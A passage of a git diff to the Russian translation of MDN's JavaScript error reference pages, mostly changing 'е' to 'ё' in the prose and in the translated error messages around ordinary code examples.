{{Glossary("Identifier", "identifiers")}} соответствуют определённым правилам, которых должен придерживаться ваш код!</p> -<p>Идентификатор JavaScript должен начинаться с буквы, символа подчеркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).</p> +<p>Идентификатор JavaScript должен начинаться с буквы, символа подчёркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).</p> <p> </p> diff --git a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html index a61a8d5f41..9563af464e 100644 --- a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html +++ b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удается + TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удаётся использовать 'in' оператор поиска для 'x' в 'y') slug: Web/JavaScript/Reference/Errors/in_operator_no_object translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object @@ -43,7 +43,7 @@ TypeError: невозможно использовать оператор 'in' <pre class="brush: js example-bad">var foo = null; "bar" in foo; -// TypeError: не удается использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome) +// TypeError: не удаётся использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome) // TypeError: правая часть 'in' должна быть объектом, полученным null (Firefox) </pre> diff --git a/files/ru/web/javascript/reference/errors/index.html b/files/ru/web/javascript/reference/errors/index.html index 21d076dbdc..41b34e5478 100644 --- a/files/ru/web/javascript/reference/errors/index.html +++ b/files/ru/web/javascript/reference/errors/index.html @@ -8,9 +8,9 @@ translation_of: Web/JavaScript/Reference/Errors --- <p>{{jsSidebar("Errors")}}</p> -<p>Ниже, Вы найдете список ошибок, которые возвращает JavaScript. Эти ошибки могут быть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (<code>name)</code> и сообщение (<code>message)</code>.</p> +<p>Ниже, Вы найдёте список ошибок, которые возвращает JavaScript. Эти ошибки могут быть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (<code>name)</code> и сообщение (<code>message)</code>.</p> -<p>Ошибки отображенные в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.</p> +<p>Ошибки отображённые в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.</p> <h2 id="Список_ошибок">Список ошибок</h2> diff --git a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html index d658f57b73..710aa435f8 100644 --- a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html +++ b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html @@ -19,7 +19,7 @@ TypeError: повторное объявление const 'x' (IE) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменен путем повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.</p> +<p>Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменён путём повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.</p> <h2 id="Примеры">Примеры</h2> @@ -67,7 +67,7 @@ function setupBigScreenEnvironment() { <h3 id="const_и_неизменность"><code>const</code> и неизменность</h3> -<p>Объявление const создает ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все еще может быть изменен. Это означает, что нельзя изменить значение, хранящееся в переменной:</p> +<p>Объявление const создаёт ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все ещё может быть изменён. Это означает, что нельзя изменить значение, хранящееся в переменной:</p> <pre class="brush: js example-bad">const obj = {foo: 'bar'}; obj = {foo: 'baz'}; // TypeError: invalid assignment to const `obj' diff --git a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html index f9e91b0a53..9f0b68e84c 100644 --- a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html +++ b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html @@ -22,11 +22,11 @@ SyntaxError: объявление переменной цикла for-in мож <h2 id="Что_пошло_не так">Что пошло не так?</h2> -<p>Глава цикла <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> содержит выражение инициализатора. То есть переменная объявляется и присваивается значение <code>|for (var i = 0 in obj)|</code>. В нестрогом режиме это объявление head игнорируется и ведет себя как <code>|for (var i in obj)|</code>. Однако в строгом режиме создается синтаксическая ошибка.</p> +<p>Глава цикла <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> содержит выражение инициализатора. То есть переменная объявляется и присваивается значение <code>|for (var i = 0 in obj)|</code>. В нестрогом режиме это объявление head игнорируется и ведёт себя как <code>|for (var i in obj)|</code>. Однако в строгом режиме создаётся синтаксическая ошибка.</p> <h2 id="Примеры">Примеры</h2> -<p>Данный пример дает SyntaxError:</p> +<p>Данный пример даёт SyntaxError:</p> <pre class="brush: js example-bad">"use strict"; diff --git a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html index c084aac4e3..5e2823d3c1 100644 --- a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html +++ b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/is_not_iterable <h2 id="Сообщение">Сообщение</h2> <pre class="syntaxbox">TypeError: "x" не является итерационным (Firefox, Chrome) -TypeError: 'x' не является функцией или ее возвращаемое значение не является итерационным (Chrome) +TypeError: 'x' не является функцией или её возвращаемое значение не является итерационным (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки</h2> @@ -17,7 +17,7 @@ TypeError: 'x' не является функцией или ее возвращ <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Значение, которое дается как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом. Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.</p> +<p>Значение, которое даётся как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом. Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.</p> <h2 id="Примеры">Примеры</h2> @@ -77,7 +77,7 @@ for (let x of generate) // TypeError: генерация не является console.log(x); </pre> -<p>Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создает итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.</p> +<p>Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создаёт итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.</p> <pre class="brush: js example-good">function* generate(a, b) { yield a; diff --git a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html index 5e65f8c633..f848e5486d 100644 --- a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html +++ b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html @@ -39,7 +39,7 @@ var f = Function('x,', 'return x;'); // SyntaxError (лишняя запятая) var f = Function(37, "alert('OK')"); -// SyntaxError (числа не могут использоваться в качестве имен аргументов) +// SyntaxError (числа не могут использоваться в качестве имён аргументов) </pre> <h3 id="Правильный_код">Правильный код</h3> diff --git a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html index 32035a2365..12acf53f79 100644 --- a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html +++ b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list <h2 id="Примеры">Примеры</h2> -<h3 id="Незавершенный_инициализатор_массива">Незавершенный инициализатор массива</h3> +<h3 id="Незавершённый_инициализатор_массива">Незавершённый инициализатор массива</h3> <pre class="brush: js example-bad">var list = [1, 2, diff --git a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html index 856d2fe526..00012ea3c4 100644 --- a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html +++ b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html @@ -55,7 +55,7 @@ obj['propertyKey'] = 'value'; <h3 id="Вычисляемые_свойства">Вычисляемые свойства</h3> -<p>Если вы создаете ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:</p> +<p>Если вы создаёте ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:</p> <pre class="brush: js example-bad">var obj = { 'b'+'ar': 'foo' }; // SyntaxError: missing : after property id diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html index 0d971440c7..0f3c17df1f 100644 --- a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html +++ b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html @@ -46,12 +46,12 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_bod } };</pre> -<p>Еще больше путаницы может внести использование {{Glossary("IIFE")}}, <a href="/ru/docs/Web/JavaScript/Closures">замыканий</a> и прочих конструкций, где используется большое количество различных скобок:</p> +<p>Ещё больше путаницы может внести использование {{Glossary("IIFE")}}, <a href="/ru/docs/Web/JavaScript/Closures">замыканий</a> и прочих конструкций, где используется большое количество различных скобок:</p> <pre class="brush: js example-bad">(function() { if (true) { return false; } ); </pre> -<p>Зачастую облегчить поиск ошибок можно, проверив отступы еще раз или расставив их по-другому.</p> +<p>Зачастую облегчить поиск ошибок можно, проверив отступы ещё раз или расставив их по-другому.</p> <pre class="brush: js example-good">(function() { if (true) { diff --git a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html index 1b84367f61..fd7d0ca039 100644 --- a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html +++ b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argume <h2 id="Примеры">Примеры</h2> -<p>Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции <code>log</code> просто <code>"PI: "</code>. В этом случае, он должен быть заключен в закрывающие скобки.</p> +<p>Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции <code>log</code> просто <code>"PI: "</code>. В этом случае, он должен быть заключён в закрывающие скобки.</p> <pre class="brush: js example-bad">console.log('PI: ' Math.PI); // SyntaxError: missing ) after argument list diff --git a/files/ru/web/javascript/reference/errors/no_variable_name/index.html b/files/ru/web/javascript/reference/errors/no_variable_name/index.html index 9ac5f9cb6e..0791d91708 100644 --- a/files/ru/web/javascript/reference/errors/no_variable_name/index.html +++ b/files/ru/web/javascript/reference/errors/no_variable_name/index.html @@ -35,7 +35,7 @@ SyntaxError: Unexpected token = (Chrome)</pre> <h3 id="Зарезервированные_ключевые_слова_не_могут_использоваться_как_имена_переменных">Зарезервированные ключевые слова не могут использоваться как имена переменных</h3> -<p>Есть несколько имен, которые являются <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Ключевые_слова">зарезервированными ключевыми словами</a>. Их нельзя использовать. Увы :(</p> +<p>Есть несколько имён, которые являются <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Ключевые_слова">зарезервированными ключевыми словами</a>. Их нельзя использовать. Увы :(</p> <pre class="brush: js example-bad">var debugger = "whoop"; // SyntaxError: missing variable name diff --git a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html index b298844d17..9f932a969a 100644 --- a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html +++ b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: can't delete non-configurable array element(Тип ошибки:не удается + TypeError: can't delete non-configurable array element(Тип ошибки:не удаётся удалить настраиваемый элемент массива) slug: Web/JavaScript/Reference/Errors/Non_configurable_array_element translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element @@ -9,8 +9,8 @@ translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element <h2 id="Сообщения">Сообщения</h2> -<pre class="syntaxbox">TypeError: не удается удалить не настраиваемый элемент массива (Firefox) -TypeError: не удается удалить свойство '2' из [массива объектов] (Chrome) +<pre class="syntaxbox">TypeError: не удаётся удалить не настраиваемый элемент массива (Firefox) +TypeError: не удаётся удалить свойство '2' из [массива объектов] (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки</h2> @@ -33,14 +33,14 @@ TypeError: не удается удалить свойство '2' из [мас <h3 id="Не_настраиваемые_свойства_созданные_Object.defineProperty">Не настраиваемые свойства, созданные <code>Object.defineProperty</code></h3> -<p>The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.</p> +<p>The {{jsxref("Object.defineProperty()")}} создаёт не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.</p> <pre class="brush: js example-bad">var arr = []; Object.defineProperty(arr, 0, {value: 0}); Object.defineProperty(arr, 1, {value: "1"}); arr.length = 1; -// TypeError: не удается удалить не настраиваемый элемент массива +// TypeError: не удаётся удалить не настраиваемый элемент массива </pre> <p>Вам нужно будет установить элементы как конфигурируемые, если вы собираетесь сократить массив.</p> diff --git a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html index 0b72d6c50f..1d1decf231 100644 --- a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html +++ b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html @@ -18,7 +18,7 @@ RangeError: Invalid code point {0} (Chrome) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Метод {{jsxref("String.fromCodePoint()")}} выдает ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).</p> +<p>Метод {{jsxref("String.fromCodePoint()")}} выдаёт ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).</p> <p><a href="https://en.wikipedia.org/wiki/Code_point">Кодовая точка (code point)</a> – это значение в кодовом пространстве Unicode, то есть диапазон целых чисел от <code>0</code> до <code>0x10FFFF</code>.</p> diff --git a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html index e9c3aafb29..68f9144938 100644 --- a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html +++ b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html @@ -71,7 +71,7 @@ var obj = new f; <h3 id="В_Обещаниях_(Promises)">В Обещаниях (Promises)</h3> -<p>В случае, когда возвращается незамедлительно разрешенное или незамедлительно отклоненное Обещание, Вам не нужно создавать новое Обещание <em>new Promise(...)</em> и работать с ним.</p> +<p>В случае, когда возвращается незамедлительно разрешённое или незамедлительно отклонённое Обещание, Вам не нужно создавать новое Обещание <em>new Promise(...)</em> и работать с ним.</p> <p>Это неправильно (<a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise#Constructor">конструктор Обещания</a> вызывается неправильно) и будет вызывать исключение <code>TypeError: this is not a constructor</code>:</p> diff --git a/files/ru/web/javascript/reference/errors/not_defined/index.html b/files/ru/web/javascript/reference/errors/not_defined/index.html index 818c3c00d4..2169f9ffa3 100644 --- a/files/ru/web/javascript/reference/errors/not_defined/index.html +++ b/files/ru/web/javascript/reference/errors/not_defined/index.html @@ -36,7 +36,7 @@ foo.substring(1); // "ar"</pre> <h3 id="Неправильная_зона_доступности"><font><font>Неправильная зона доступности</font></font></h3> -<p>Переменная должна быть доступна в текущем контексте исполнения. Переменные, определенные внутри <a href="/ru/docs/Web/JavaScript/Reference/Functions">функции</a> не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.</p> +<p>Переменная должна быть доступна в текущем контексте исполнения. Переменные, определённые внутри <a href="/ru/docs/Web/JavaScript/Reference/Functions">функции</a> не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.</p> <pre class="brush: js example-bad">function numbers () { var num1 = 2, @@ -46,7 +46,7 @@ foo.substring(1); // "ar"</pre> console.log(num1); // ReferenceError num1 is not defined.</pre> -<p>Тем не менее, функция может получить доступ ко всем переменным и функциям, определенным в области видимости, в которой она определена. Другими словами, функция, определенная в глобальной области может получить доступ ко всем переменным, определенным в глобальном масштабе.</p> +<p>Тем не менее, функция может получить доступ ко всем переменным и функциям, определённым в области видимости, в которой она определена. Другими словами, функция, определённая в глобальной области может получить доступ ко всем переменным, определённым в глобальном масштабе.</p> <pre class="brush: js example-good">var num1 = 2, num2 = 3; diff --git a/files/ru/web/javascript/reference/errors/read-only/index.html b/files/ru/web/javascript/reference/errors/read-only/index.html index 4675e8008f..2616d68809 100644 --- a/files/ru/web/javascript/reference/errors/read-only/index.html +++ b/files/ru/web/javascript/reference/errors/read-only/index.html @@ -10,8 +10,8 @@ translation_of: Web/JavaScript/Reference/Errors/Read-only <pre class="syntaxbox">TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge) TypeError: "x" доступен только для чтения (Firefox) TypeError: 0 доступен только для чтения (Firefox) -TypeError: не удается назначить только для чтения свойство "x" из #<объект> (Chrome) -TypeError: не удается назначить только для чтения свойство '0' [массив объектов] (Chrome) +TypeError: не удаётся назначить только для чтения свойство "x" из #<объект> (Chrome) +TypeError: не удаётся назначить только для чтения свойство '0' [массив объектов] (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки</h2> diff --git a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html index 781ea495ec..dbf5ae9fba 100644 --- a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html +++ b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html @@ -21,7 +21,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено еще раз в теле функции с помощью оператора присваивания <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи <code>let</code>.</p> +<p>Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено ещё раз в теле функции с помощью оператора присваивания <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи <code>let</code>.</p> <h2 id="Примеры">Примеры</h2> @@ -34,7 +34,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome) // SyntaxError: redeclaration of formal parameter "arg" </pre> -<p>Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную еще раз. Иначе говоря, ключевое слово <code>let</code> можно опустить. Если же вы хотите создать новую переменную, необходимо ее переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.</p> +<p>Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную ещё раз. Иначе говоря, ключевое слово <code>let</code> можно опустить. Если же вы хотите создать новую переменную, необходимо её переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.</p> <pre class="brush: js example-good">function f(arg) { arg = 'foo'; diff --git a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html index 28c0df1add..91cedeb38d 100644 --- a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html +++ b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html @@ -60,7 +60,7 @@ var list = ["potatoes", "rice", "fries"];</pre> <h3 id="Обновление_старых_браузеров">Обновление старых браузеров</h3> -<p>Например, если вы используете старый браузер, в котором еще не реализована функция <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/class">class</a></code>, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.</p> +<p>Например, если вы используете старый браузер, в котором ещё не реализована функция <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/class">class</a></code>, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.</p> <pre class="brush: js">"use strict"; class DocArchiver {} diff --git a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html index 48917edbc1..9f76e774c7 100644 --- a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html +++ b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html @@ -23,7 +23,7 @@ SyntaxError: Illegal 'use strict' directive in function with non-simple paramete <p>Перевод:</p> <pre class="syntaxbox">Edge: -Не удается применить строгий режим к функциям со списком, содержащим сложные параметры +Не удаётся применить строгий режим к функциям со списком, содержащим сложные параметры Firefox: Ошибка синтаксиса: "use strict" не допускается в функции с параметром по умолчанию @@ -74,7 +74,7 @@ function sum(a = 1, b = 2) { <h3 id="Функция_выражения">Функция выражения</h3> -<p>Выражение функции может использовать еще один обходной путь:</p> +<p>Выражение функции может использовать ещё один обходной путь:</p> <pre class="brush: js example-bad">var sum = function sum([a, b]) { // SyntaxError: "use strict" не допускается в функции с параметром деструктурирования diff --git a/files/ru/web/javascript/reference/errors/unexpected_token/index.html b/files/ru/web/javascript/reference/errors/unexpected_token/index.html index 52b6bca2de..62f6dd9db2 100644 --- a/files/ru/web/javascript/reference/errors/unexpected_token/index.html +++ b/files/ru/web/javascript/reference/errors/unexpected_token/index.html @@ -25,7 +25,7 @@ SyntaxError: expected '=>' after argument list, got "x" <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Вместо определенной конструкции языка было использовано что-то другое. Возможно, просто опечатка.</p> +<p>Вместо определённой конструкции языка было использовано что-то другое. Возможно, просто опечатка.</p> <h2 id="Примеры">Примеры</h2> @@ -39,7 +39,7 @@ SyntaxError: expected '=>' after argument list, got "x" // SyntaxError: expected expression, got ';' </pre> -<p>Правильным вариантом будет убрать запятую или добавить еще одно выражение:</p> +<p>Правильным вариантом будет убрать запятую или добавить ещё одно выражение:</p> <pre class="brush: js example-good">for (let i = 0; i < 5; ++i) { console.log(i); diff --git a/files/ru/web/javascript/reference/errors/unexpected_type/index.html b/files/ru/web/javascript/reference/errors/unexpected_type/index.html index c8ccbe028f..43015841f0 100644 --- a/files/ru/web/javascript/reference/errors/unexpected_type/index.html +++ b/files/ru/web/javascript/reference/errors/unexpected_type/index.html @@ -25,7 +25,7 @@ TypeError: "x" is not a symbol <p>Встречен неожиданный тип. Это часто случается со значениями {{jsxref("null")}} или {{jsxref("undefined")}}.</p> -<p>Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определенный тип, который должен быть предоставлен.</p> +<p>Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определённый тип, который должен быть предоставлен.</p> <h2 id="Примеры">Примеры</h2> @@ -39,7 +39,7 @@ var foo = null; foo.substring(1); // TypeError: foo is null -// Некоторые методы могут требовать определенный тип +// Некоторые методы могут требовать определённый тип var foo = {} Symbol.keyFor(foo); // TypeError: foo is not a symbol diff --git a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html index 0c950c014e..c4f442f49e 100644 --- a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html +++ b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html @@ -18,7 +18,7 @@ SyntaxError: непредвиденный токен ( [Chrome] <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещен в этом контексте.</p> +<p>В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещён в этом контексте.</p> <h2 id="Примеры">Примеры</h2> @@ -38,7 +38,7 @@ SyntaxError: непредвиденный токен ( [Chrome] return 'Hello world'; };</pre> -<p>Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится еще несколько брекетов:</p> +<p>Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится ещё несколько брекетов:</p> <pre class="brush: js example-good">(function () { diff --git a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html index ea9aca3e65..dd817a5407 100644 --- a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html +++ b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html @@ -1,5 +1,5 @@ --- -title: 'SyntaxError: unterminated string literal(незавершенный строковый литерал)' +title: 'SyntaxError: unterminated string literal(незавершённый строковый литерал)' slug: Web/JavaScript/Reference/Errors/Unterminated_string_literal translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal --- @@ -34,7 +34,7 @@ SyntaxError: незадействованный строковый литера <pre class="brush: js example-bad">var longString = 'Это очень длинная строка, которая нуждается перенос через несколько строк, потому что в противном случае мой код нечитаем."; -// SyntaxError: незавершенный строковый литерал</pre> +// SyntaxError: незавершённый строковый литерал</pre> <p>Вместо этого используйте оператор+, обратную косую черту или литералы шаблона. Вариант оператора + выглядит следующим образом:</p> @@ -50,7 +50,7 @@ SyntaxError: незадействованный строковый литера в противном случае мой код нечитаем."; </pre> -<p>Еще одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:</p> +<p>Ещё одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:</p> <pre class="brush: js example-good">var longString = `Это очень длинная строка, которая нуждается в переносе через несколько строк, потому что diff --git a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html index 91953a36c8..5b7c3d1f8e 100644 --- a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html +++ b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html @@ -24,7 +24,7 @@ original_slug: Web/JavaScript/Reference/Errors/Переменные_скрыва <p> </p> -<p>То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имен, поэтому JavaScript предупреждает об этом.</p> +<p>То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имён, поэтому JavaScript предупреждает об этом.</p> <p>Эта ошибка возникает как предупреждение только в коде строгого режима. В нестрогом коде повторное объявление игнорируется.</p> diff --git a/files/ru/web/javascript/reference/functions/arguments/callee/index.html b/files/ru/web/javascript/reference/functions/arguments/callee/index.html index eaf41af79d..5326296bdd 100644 --- a/files/ru/web/javascript/reference/functions/arguments/callee/index.html +++ b/files/ru/web/javascript/reference/functions/arguments/callee/index.html @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Functions/arguments/callee <p> </p> -<p>Действительно незаменимым оно остается всего в одной ситуации. Когда мы создаем анонимную функцию напрямую через конструктор <em>Function.</em></p> +<p>Действительно незаменимым оно остаётся всего в одной ситуации. Когда мы создаём анонимную функцию напрямую через конструктор <em>Function.</em></p> <pre class="line-numbers language-javascript"><code class="language-javascript"><span class="keyword token">var b = new Function("", "alert(typeof arguments.callee)");</span></code></pre> diff --git a/files/ru/web/javascript/reference/functions/arguments/index.html b/files/ru/web/javascript/reference/functions/arguments/index.html index b23710eba0..db4f25e9b6 100644 --- a/files/ru/web/javascript/reference/functions/arguments/index.html +++ b/files/ru/web/javascript/reference/functions/arguments/index.html @@ -105,7 +105,7 @@ console.log(typeof arguments[0]);</code></pre> <span class="keyword token">return</span> args<span class="punctuation 